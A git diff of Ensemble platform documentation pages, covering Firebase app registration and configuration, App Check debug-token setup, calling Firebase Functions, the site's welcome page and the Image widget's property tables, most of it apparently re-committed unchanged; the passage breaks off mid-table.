Firebase + +Firebase supports integration with various app platforms. Here's a breakdown for each platform: + +![All Apps](/images/firebase/addApp.png) +#### Android + +- Click the Android icon(looks like a little robot) to start the setup. +- Type the unique "Android Package Name". Make sure it matches our app's exact name, and remember, it's case-sensitive! + + + To learn more about how to get our Android package name for ensemble application, click [here](/deploy/4-android-device.md). + + +- Click "Register app" to complete this step. +- Finally, download a file called "google-services.json". This file holds all the secret handshake information Firebase needs to talk to our app. + + +#### iOS + +- Click the Apple icon to start the setup. +- Enter our app's unique ID (called a "bundle ID"). Make sure it matches our app's exact name, and remember, it's case-sensitive! + + + To learn more about how and where we can find our "Bundle ID" for ensemble application, click [here](/deploy/3-ios-appstore.md). + + +- Click "Register app" to complete this step. +- Download a file called "GoogleService-Info.plist". This file contains the secret details Firebase needs to work with your app. + +#### Web + +- Click the Web icon(looks like a globe) to start the setup. +- Give our web app a nickname(this is just for us to see in the Firebase console). +- Click "Register app" to complete this step. +- Firebase will provide on-screen instructions where we will find a portion with the name `firebaseConfig` in code given. Copy that portion and save it in a file with the rest configuration files. + +![All Apps](/images/firebase/allApps.png) + +## 2. Configure Ensemble app +Now that we've registered our app with Firebase and downloaded the configuration files, +it's time to establish the connection within our Ensemble project. +#### Make a Configuration File + +The first step involves creating a configuration file that stores Firebase project details specific to our chosen platform (iOS, Android, or Web). This file +acts as a translator between our app and Firebase, providing the necessary information for them to communicate effectively. The file will look like: + +```yaml +{ + "web": { + # Copy and paste all the values of firebaseCongig variable that we copy from web app and paste it here. + }, + "android": { + "apiKey": # In google-services.json, take value of client.api_key.current_key, + "appId": # In google-services.json, take value of client.client_info.mobilesdk_app_id, + "messagingSenderId": # In google-services.json, take value of project_info.project_number, + "projectId": # In google-services.json, take value of project_info.project_id, + "storageBucket": # In google-services.json, take value of project_info.storage_bucket + }, + "ios": { + "apiKey": # In GoogleService-Info.plist, take the value of API_KEY, + "appId": # In GoogleService-Info.plist, take the value of GOOGLE_APP_ID, + "messagingSenderId": # In GoogleService-Info.plist, take the value of GCM_SENDER_ID, + "projectId": # In GoogleService-Info.plist, take the value of PROJECT_ID, + "storageBucket": # In GoogleService-Info.plist, take the value of STORAGE_BUCKET, + "iosBundleId": # In GoogleService-Info.plist, take the value of BUNDLE_ID + } +} +``` +After we have replaced the placeholder hashtags (#) in our configuration file, it will look like this: + +![Configuration File](/images/firebase/configfile.png) + +#### Update Environmental Variables + +Within our Ensemble application, navigate to the settings section and look for the option to manage environmental variables. Here, we'll create the following variables: +- `api_providers`: Set the value of this variable to `firestore`. This tells our app to use Firebase Firestore as a data provider. +- `firestore_config`: This is where you'll paste the complete configuration file we created earlier, including the replaced values from our downloaded configuration files. +- `firebase_config`: Similar to `firestore_config`, this variable is required when using Firebase Functions or Firebase App Check. Use the same configuration file format and values as above. + + + The `firebase_config` environment variable follows the same structure and values as `firestore_config`. It's specifically needed when implementing Firebase Functions or Firebase App Check in your Ensemble application. + + +![Environment Variables](/images/firebase/envVari.png) + +By following these steps, we'll successfully establish a connection between your Ensemble app and Firebase. diff --git a/pages/firebase/firebase-appcheck.mdx b/pages/firebase/firebase-appcheck.mdx index 27f77c5..e4c39dd 100644 --- a/pages/firebase/firebase-appcheck.mdx +++ b/pages/firebase/firebase-appcheck.mdx @@ -1,111 +1,111 @@ -import { Callout } from 'nextra/components' - -# Firebase App Check Configuration - -[Firebase App Check](https://firebase.google.com/docs/app-check) helps protect your API resources from abuse by preventing unauthorized clients from accessing your backend resources. Ensemble platform provides seamless integration with Firebase App Check, ensuring that only legitimate requests from your verified app can access your Firebase services. - -Unlike traditional API security measures, App Check provides automatic app verification that works transparently with your existing Firebase services. App Check is an excellent security addition for Ensemble applications because it provides automatic app verification, protection against abuse, seamless integration with Firebase services, and minimal performance impact. - -Now, let's dive into configuring Firebase App Check for our Ensemble application: - - - App Check integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](configuration.mdx#2-configure-ensemble-app). - - - -## 1. Environment Configuration -Within our Ensemble application, navigate to the settings section and look for the option to manage environmental variables. Here, we'll create the environment variable for appcheck as follows: - -**Example**: -![App Check](/images/firebase/appcheck.png) -**Explanation**: -Enables App Check verification for all Firebase API calls in your Ensemble application. - -## 2. Types of App Check Operations - -App Check provides different verification methods for different platforms and environments. Here's a breakdown of the main operations and configurations: - -### Debug Token Setup: -Debug tokens are essential for development and testing environments where app verification might not work as expected. To run application with appcheck (Dev environment), you would need to register debug token in firebase console's appcheck section for your project. -For release, you will need to register SHA 256 token of your app with your respective platform (Appstore or Google Play). - -1. **Example (Android Debug Token Extraction)**: -```bash -# Run the application -flutter run - -# Extract debug token from logs -adb logcat | grep "App Check" -``` -**Explanation**: -- `flutter run`: Starts your application in debug mode. -- `adb logcat | grep "App Check"`: Filters log output to show App Check debug token. -- Look for output like: `App Check debug token: 12345678-ABCD-EFGH-IJKL-123456789012` - -2. **Example (iOS Debug Token Configuration)**: -```yaml -# In Xcode scheme configuration -Environment Variables: - FIRDebugEnabled: YES - FIRAppCheckDebugEnabled: YES -``` -**Explanation**: -- `FIRDebugEnabled`: Enables Firebase debug logging. -- `FIRAppCheckDebugEnabled`: Specifically enables App Check debug token generation. - - -### Conditional App Check: -Control App Check usage on a per-API basis depending on your security requirements. - -**Example (Secure Firebase Function)**: -```yaml -secureFunction: - type: firebaseFunction - name: sensitiveOperation - # App Check enabled by default when firebase_app_check=true - data: - userId: ${currentUser.id} - operation: transfer -``` - - -## 3. Response and Monitoring of App Check Operations - -When performing Firebase operations with App Check enabled, you can monitor verification status and handle failures appropriately. Below are examples demonstrating how to handle App Check responses and implement monitoring. - -### 1. Making API calls with App Check monitoring: -```yaml -invokeAPI: - name: secureFirestoreOperation - inputs: - userId: ${userID} - onResponse: - executeCode: - body: |- - console.log('App Check verification successful'); - - onError: - executeCode: - body: |- - console.log('App Check verification failed:', response.error); -``` - - -## 4. Troubleshooting Common App Check Issues - -### Debug Token Issues - -**Debug Token Not Working**: Ensure the token is correctly copied without extra spaces, verify it's added to the correct app in Firebase Console, and check that debug environment variables are properly set. - - -### Production Verification Failures - -**App Check Failing in Production**: Verify Play Integrity/App Attest is properly configured, check that your app is signed with correct certificates, and ensure your app is published or in internal testing. - - -### Web Configuration Issues - -**Web App Check Issues**: Verify reCAPTCHA configuration and site keys, check that your domain is whitelisted, and ensure the reCAPTCHA script loads correctly. - - +import { Callout } from 'nextra/components' + +# Firebase App Check Configuration + +[Firebase App Check](https://firebase.google.com/docs/app-check) helps protect your API resources from abuse by preventing unauthorized clients from accessing your backend resources. Ensemble platform provides seamless integration with Firebase App Check, ensuring that only legitimate requests from your verified app can access your Firebase services. + +Unlike traditional API security measures, App Check provides automatic app verification that works transparently with your existing Firebase services. App Check is an excellent security addition for Ensemble applications because it provides automatic app verification, protection against abuse, seamless integration with Firebase services, and minimal performance impact. + +Now, let's dive into configuring Firebase App Check for our Ensemble application: + + + App Check integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](configuration.mdx#2-configure-ensemble-app). + + + +## 1. Environment Configuration +Within our Ensemble application, navigate to the settings section and look for the option to manage environmental variables. Here, we'll create the environment variable for appcheck as follows: + +**Example**: +![App Check](/images/firebase/appcheck.png) +**Explanation**: +Enables App Check verification for all Firebase API calls in your Ensemble application. + +## 2. Types of App Check Operations + +App Check provides different verification methods for different platforms and environments. Here's a breakdown of the main operations and configurations: + +### Debug Token Setup: +Debug tokens are essential for development and testing environments where app verification might not work as expected. To run application with appcheck (Dev environment), you would need to register debug token in firebase console's appcheck section for your project. +For release, you will need to register SHA 256 token of your app with your respective platform (Appstore or Google Play). + +1. **Example (Android Debug Token Extraction)**: +```bash +# Run the application +flutter run + +# Extract debug token from logs +adb logcat | grep "App Check" +``` +**Explanation**: +- `flutter run`: Starts your application in debug mode. +- `adb logcat | grep "App Check"`: Filters log output to show App Check debug token. +- Look for output like: `App Check debug token: 12345678-ABCD-EFGH-IJKL-123456789012` + +2. **Example (iOS Debug Token Configuration)**: +```yaml +# In Xcode scheme configuration +Environment Variables: + FIRDebugEnabled: YES + FIRAppCheckDebugEnabled: YES +``` +**Explanation**: +- `FIRDebugEnabled`: Enables Firebase debug logging. +- `FIRAppCheckDebugEnabled`: Specifically enables App Check debug token generation. + + +### Conditional App Check: +Control App Check usage on a per-API basis depending on your security requirements. + +**Example (Secure Firebase Function)**: +```yaml +secureFunction: + type: firebaseFunction + name: sensitiveOperation + # App Check enabled by default when firebase_app_check=true + data: + userId: ${currentUser.id} + operation: transfer +``` + + +## 3. Response and Monitoring of App Check Operations + +When performing Firebase operations with App Check enabled, you can monitor verification status and handle failures appropriately. Below are examples demonstrating how to handle App Check responses and implement monitoring. + +### 1. Making API calls with App Check monitoring: +```yaml +invokeAPI: + name: secureFirestoreOperation + inputs: + userId: ${userID} + onResponse: + executeCode: + body: |- + console.log('App Check verification successful'); + + onError: + executeCode: + body: |- + console.log('App Check verification failed:', response.error); +``` + + +## 4. Troubleshooting Common App Check Issues + +### Debug Token Issues + +**Debug Token Not Working**: Ensure the token is correctly copied without extra spaces, verify it's added to the correct app in Firebase Console, and check that debug environment variables are properly set. + + +### Production Verification Failures + +**App Check Failing in Production**: Verify Play Integrity/App Attest is properly configured, check that your app is signed with correct certificates, and ensure your app is published or in internal testing. + + +### Web Configuration Issues + +**Web App Check Issues**: Verify reCAPTCHA configuration and site keys, check that your domain is whitelisted, and ensure the reCAPTCHA script loads correctly. + + By implementing Firebase App Check with these operations, you can significantly enhance the security of your Ensemble application. App Check's real-time verification capabilities and seamless integration make it a powerful tool for protecting your Firebase resources from unauthorized access and abuse. \ No newline at end of file diff --git a/pages/firebase/firebase-functions.mdx b/pages/firebase/firebase-functions.mdx index 5167dc1..abfb35d 100644 --- a/pages/firebase/firebase-functions.mdx +++ b/pages/firebase/firebase-functions.mdx @@ -1,156 +1,156 @@ ---- -title: "Calling Firebase Functions APIs" -description: "Learn how to integrate and call Firebase Functions in your Ensemble applications" ---- - -import { Callout } from 'nextra/components' - -# Calling Firebase Functions APIs - -Firebase Functions allows you to run backend code in response to events triggered by Firebase features and HTTPS requests. Ensemble platform provides seamless integration with Firebase Functions, enabling you to call serverless functions from your app effortlessly. - -Unlike traditional server setups, Firebase Functions offers a serverless architecture that automatically scales based on demand. Firebase Functions is an excellent choice for Ensemble applications because it provides automatic scaling, secure execution environment, easy deployment, and simplified backend logic without server management. - -Now, let's dive into implementing Firebase Functions in our Ensemble application: - - - Firebase function integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](configuration.mdx#2-configure-ensemble-app). - - - - -## 1. Environment Configuration - -### Setting Up API Providers -Within our Ensemble application, navigate to the settings section and look for the option to manage environmental variables. Here, we'll create two new variables: -- `api_providers`: Set the value of this variable to `firebase`. This tells our app to use Firebase function as a api provider. - -**Example**: -![All Apps](/images/firebase/firebasefunction.png) - - -**Note:** You can use multiple api_providers by using comma-separated values (e.g., firestore,firebase) - - - -## 2. Types of Firebase Functions Operations - -Firebase Functions offers various ways to interact with your serverless backend. Here's a breakdown of core operations along with demo API calls for our Ensemble app: - -### Basic Function Call: -This operation calls a Firebase Function without any parameters. - -**Example (Simple function call):** -```yaml -testFunction: - type: firebaseFunction - name: helloWorld -``` - -**Explanation:** -- `type: firebaseFunction`: Specifies that the operation is for Firebase Functions -- `name`: The name of the Firebase Function to call - -### Function Call with Data: -This operation calls a Firebase Function with input parameters. - -**Example (Function with parameters):** -```yaml -createUser: - inputs: - - email - - displayName - type: firebaseFunction - name: createCustomUser - data: - email: ${email} - displayName: ${displayName} - role: user - createdAt: ${new Date().toISOString()} -``` - -**Explanation:** -- `inputs`: Dynamic variables that can be passed to the function -- `data`: The payload sent to the Firebase Function -- Values can be static or use dynamic variables with `${variableName}` syntax - -## 3. Response Handling of Firebase Functions - -When performing Firebase Functions operations, you may need to handle responses and errors appropriately. Below are common patterns for handling API responses in your Ensemble app. - -### 1. Making an API call: -```yaml -invokeAPI: - name: myFunction - inputs: - userId: ${userID} -``` - -You can also use `onResponse` & `onError` on Firebase Function API calls and perform operations on the response. - -### 2. Complete Function Definition with Response Handling: -```yaml -API: - getUserData: - inputs: - - userId - type: firebaseFunction - name: fetchUserProfile - data: - userId: ${userId} - includeStats: true - onResponse: - executeCode: - body: |- - console.log('User data fetched successfully'); - console.log(response.body); - userNameText.text = response.body.user.name; - userEmailText.text = response.body.user.email; - onError: - executeCode: - body: |- - console.log('Failed to fetch user data'); - console.log(response.body); - errorText.text = "Error: " + response.body; - -``` - -### 3. Using response in UI Components: -Firebase functions will work similar to simple http APIs and their responses can be used in UI Components: - -```yaml - -Column: - styles: - visible: '${getUserData.isSuccess ? true : false}' - children: - - Text: - id: userNameText - text: "Name: ${getUserData.body.user.name}" - - Text: - id: userEmailText - text: "Email: ${getUserData.body.user.email}" - - Text: - text: "Last Login: ${getUserData.body.user.lastLogin}" - -``` - - - -## 4. Troubleshooting - -### Common Issues -- Ensure Firebase Functions are deployed and accessible -- Verify function names match exactly (case-sensitive) -- Check that the Firebase project is correctly configured -- Confirm internet connectivity for function calls - -### Debug Tips -- Use console.log in onResponse and onError handlers to inspect responses -- Check Firebase Console for function logs and error details -- Test functions independently using Firebase Console or Postman -- Verify function permissions and authentication requirements - - -By using these operations, you can efficiently call Firebase Functions from your Ensemble application. Firebase Functions' serverless architecture makes it a powerful solution for any backend logic your application needs. +--- +title: "Calling Firebase Functions APIs" +description: "Learn how to integrate and call Firebase Functions in your Ensemble applications" +--- + +import { Callout } from 'nextra/components' + +# Calling Firebase Functions APIs + +Firebase Functions allows you to run backend code in response to events triggered by Firebase features and HTTPS requests. Ensemble platform provides seamless integration with Firebase Functions, enabling you to call serverless functions from your app effortlessly. + +Unlike traditional server setups, Firebase Functions offers a serverless architecture that automatically scales based on demand. Firebase Functions is an excellent choice for Ensemble applications because it provides automatic scaling, secure execution environment, easy deployment, and simplified backend logic without server management. + +Now, let's dive into implementing Firebase Functions in our Ensemble application: + + + Firebase function integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](configuration.mdx#2-configure-ensemble-app). + + + + +## 1. Environment Configuration + +### Setting Up API Providers +Within our Ensemble application, navigate to the settings section and look for the option to manage environmental variables. Here, we'll create two new variables: +- `api_providers`: Set the value of this variable to `firebase`. This tells our app to use Firebase function as a api provider. + +**Example**: +![All Apps](/images/firebase/firebasefunction.png) + + +**Note:** You can use multiple api_providers by using comma-separated values (e.g., firestore,firebase) + + + +## 2. Types of Firebase Functions Operations + +Firebase Functions offers various ways to interact with your serverless backend. Here's a breakdown of core operations along with demo API calls for our Ensemble app: + +### Basic Function Call: +This operation calls a Firebase Function without any parameters. + +**Example (Simple function call):** +```yaml +testFunction: + type: firebaseFunction + name: helloWorld +``` + +**Explanation:** +- `type: firebaseFunction`: Specifies that the operation is for Firebase Functions +- `name`: The name of the Firebase Function to call + +### Function Call with Data: +This operation calls a Firebase Function with input parameters. + +**Example (Function with parameters):** +```yaml +createUser: + inputs: + - email + - displayName + type: firebaseFunction + name: createCustomUser + data: + email: ${email} + displayName: ${displayName} + role: user + createdAt: ${new Date().toISOString()} +``` + +**Explanation:** +- `inputs`: Dynamic variables that can be passed to the function +- `data`: The payload sent to the Firebase Function +- Values can be static or use dynamic variables with `${variableName}` syntax + +## 3. Response Handling of Firebase Functions + +When performing Firebase Functions operations, you may need to handle responses and errors appropriately. Below are common patterns for handling API responses in your Ensemble app. + +### 1. Making an API call: +```yaml +invokeAPI: + name: myFunction + inputs: + userId: ${userID} +``` + +You can also use `onResponse` & `onError` on Firebase Function API calls and perform operations on the response. + +### 2. Complete Function Definition with Response Handling: +```yaml +API: + getUserData: + inputs: + - userId + type: firebaseFunction + name: fetchUserProfile + data: + userId: ${userId} + includeStats: true + onResponse: + executeCode: + body: |- + console.log('User data fetched successfully'); + console.log(response.body); + userNameText.text = response.body.user.name; + userEmailText.text = response.body.user.email; + onError: + executeCode: + body: |- + console.log('Failed to fetch user data'); + console.log(response.body); + errorText.text = "Error: " + response.body; + +``` + +### 3. Using response in UI Components: +Firebase functions will work similar to simple http APIs and their responses can be used in UI Components: + +```yaml + +Column: + styles: + visible: '${getUserData.isSuccess ? true : false}' + children: + - Text: + id: userNameText + text: "Name: ${getUserData.body.user.name}" + - Text: + id: userEmailText + text: "Email: ${getUserData.body.user.email}" + - Text: + text: "Last Login: ${getUserData.body.user.lastLogin}" + +``` + + + +## 4. Troubleshooting + +### Common Issues +- Ensure Firebase Functions are deployed and accessible +- Verify function names match exactly (case-sensitive) +- Check that the Firebase project is correctly configured +- Confirm internet connectivity for function calls + +### Debug Tips +- Use console.log in onResponse and onError handlers to inspect responses +- Check Firebase Console for function logs and error details +- Test functions independently using Firebase Console or Postman +- Verify function permissions and authentication requirements + + +By using these operations, you can efficiently call Firebase Functions from your Ensemble application. Firebase Functions' serverless architecture makes it a powerful solution for any backend logic your application needs. \ No newline at end of file diff --git a/pages/index.mdx b/pages/index.mdx index 5276df8..f3ccec8 100644 --- a/pages/index.mdx +++ b/pages/index.mdx @@ -1,25 +1,25 @@ -# Welcome to Ensemble - -## What is Ensemble? - -Ensemble is a platform where you can build, publish, and iterate native and web apps without leaving your browser. - -With Ensemble, you create apps by defining them using a declarative language. Think of it as configuring your app, instead of coding it. Ensemble apps are rendered at runtime by interpreting this declerative definition. This architecture means that: - -1. Ensemble apps are native to each platform: iOS, Android, and web. -2. Ensemble apps can be updated instantly because the app definitions are pushed to clients. You can use Ensemble's cloud service, or use your own server. -3. Ensemble apps always leverage the latest front-end technologies (Flutter for iOS and Android, React for web) so that you don't have to worry about tech-debt incured by using these technologies. - -![architecture](/images/architecture.png) - -## How do I build my app? - -Ensemble provides a browser-based IDE, [Ensemble Studio](https://studio.ensembleui.com), where you can build, test, and publish your apps all from the browser. You can instantly preview your Ensemble apps on iOS and Anrdoid devices using [Ensemble preview app](/test/preview-app). Once ready to publish, Ensemble automatically push your apps to Apple AppStore and Google PlayStore. For web, you can download a web build and host it on any service. - -## Need help? - -[Chat with us on Discord](https://discord.gg/cEHkJTmn75) - -[Join our office hours](https://discord.gg/eJrUWhnRHS?event=1218554330765066310) - +# Welcome to Ensemble + +## What is Ensemble? + +Ensemble is a platform where you can build, publish, and iterate native and web apps without leaving your browser. + +With Ensemble, you create apps by defining them using a declarative language. Think of it as configuring your app, instead of coding it. Ensemble apps are rendered at runtime by interpreting this declerative definition. This architecture means that: + +1. Ensemble apps are native to each platform: iOS, Android, and web. +2. Ensemble apps can be updated instantly because the app definitions are pushed to clients. You can use Ensemble's cloud service, or use your own server. +3. Ensemble apps always leverage the latest front-end technologies (Flutter for iOS and Android, React for web) so that you don't have to worry about tech-debt incured by using these technologies. + +![architecture](/images/architecture.png) + +## How do I build my app? + +Ensemble provides a browser-based IDE, [Ensemble Studio](https://studio.ensembleui.com), where you can build, test, and publish your apps all from the browser. You can instantly preview your Ensemble apps on iOS and Anrdoid devices using [Ensemble preview app](/test/preview-app). Once ready to publish, Ensemble automatically push your apps to Apple AppStore and Google PlayStore. For web, you can download a web build and host it on any service. + +## Need help? + +[Chat with us on Discord](https://discord.gg/cEHkJTmn75) + +[Join our office hours](https://discord.gg/eJrUWhnRHS?event=1218554330765066310) + [Drop us an email](mailto:hello@ensembleui.com) \ No newline at end of file diff --git a/pages/widgets/Image.mdx b/pages/widgets/Image.mdx index 4af7d74..2cdab37 100644 --- a/pages/widgets/Image.mdx +++ b/pages/widgets/Image.mdx @@ -1,87 +1,87 @@ -import { EnsemblePreview } from "../../components/ensemble-preview"; - -# Image widget - -The Image Widget allows you to render images from a URL or [local assets](/extending-ensemble/local-assets). - -You can manage your assets using Ensemble Studio. [See how](/assets) - - - -## Properties - -| Property | Type | Description | -| :------- | :----- | :---------- | -| source | string | URL to or asset name of the image or an inline SVG string. If the URL is used, it is highly recommended that the dimensions is set (either with width/height or other means) to prevent the UI jerkiness while loading. | -| onTap | action | Call Ensemble's built-in functions or execute code | -| onTapHaptic | enum | The type of haptic to perform when image is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :------- | :----- | :---------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight`. | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) `fill`, `contain`, `cover`, `fitHeight`, `fitWidth`, `none`, `scaleDown` | -| resizedWidth | integer | Images will be automatically resized (default to 800 width with no height set) before rendering. If you know the rough image width, set this number to be the same or a slightly larger width to optimize the loading time. To maintain the original aspect ratio, set either resizedWidth or resizedHeight, but not both. This setting is not supported on Web. | -| resizedHeight | integer | Images will be automatically resized (default to 800 width with no height set) before rendering. If you know the rough image height, set this number to be the same or a slightly larger height to optimize the loading time. To maintain the original aspect ratio, set either resizedWidth or resizedHeight, but not both. This setting is not supported on Web. | -| visibilityTransitionDuration | integer | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| placeholderColor | integer or string | The placeholder color while the image is loading `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| colorFilter | object | Applies color filter to the image. | - -### styles.backgroundGradient - -| Property | Type | Description | -| :------- | :----- | :---------- | -| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | -| start | string | The starting position of the gradient | -| end | string | The ending position of the gradient | - -### styles.backgroundImage - -| Property | Type | Description | -| :------- | :----- | :---------- | -| source | string | The Image URL to fill the background | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| alignment | string | Alignment of the background image | - -#### Fit options for styles.backgroundImage - -| Option | Description | -| --------- | --------------------------------------------------------------------------------------------------- | -| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | -| contain | Scale the image such that the entire image is contained within our dimension | -| cover | Scale the image to fill our dimension, clipping the image as needed | -| fitWidth | Scale the image to fit the width, and clipping the height if needed | -| fitHeight | Scale the image to fit the height, and clipping the width if needed | -| none | Center-Align the original image size, clipping the content if needed | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | +import { EnsemblePreview } from "../../components/ensemble-preview"; + +# Image widget + +The Image Widget allows you to render images from a URL or [local assets](/extending-ensemble/local-assets). + +You can manage your assets using Ensemble Studio. [See how](/assets) + + + +## Properties + +| Property | Type | Description | +| :------- | :----- | :---------- | +| source | string | URL to or asset name of the image or an inline SVG string. If the URL is used, it is highly recommended that the dimensions is set (either with width/height or other means) to prevent the UI jerkiness while loading. | +| onTap | action | Call Ensemble's built-in functions or execute code | +| onTapHaptic | enum | The type of haptic to perform when image is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :------- | :----- | :---------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight`. | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) `fill`, `contain`, `cover`, `fitHeight`, `fitWidth`, `none`, `scaleDown` | +| resizedWidth | integer | Images will be automatically resized (default to 800 width with no height set) before rendering. If you know the rough image width, set this number to be the same or a slightly larger width to optimize the loading time. To maintain the original aspect 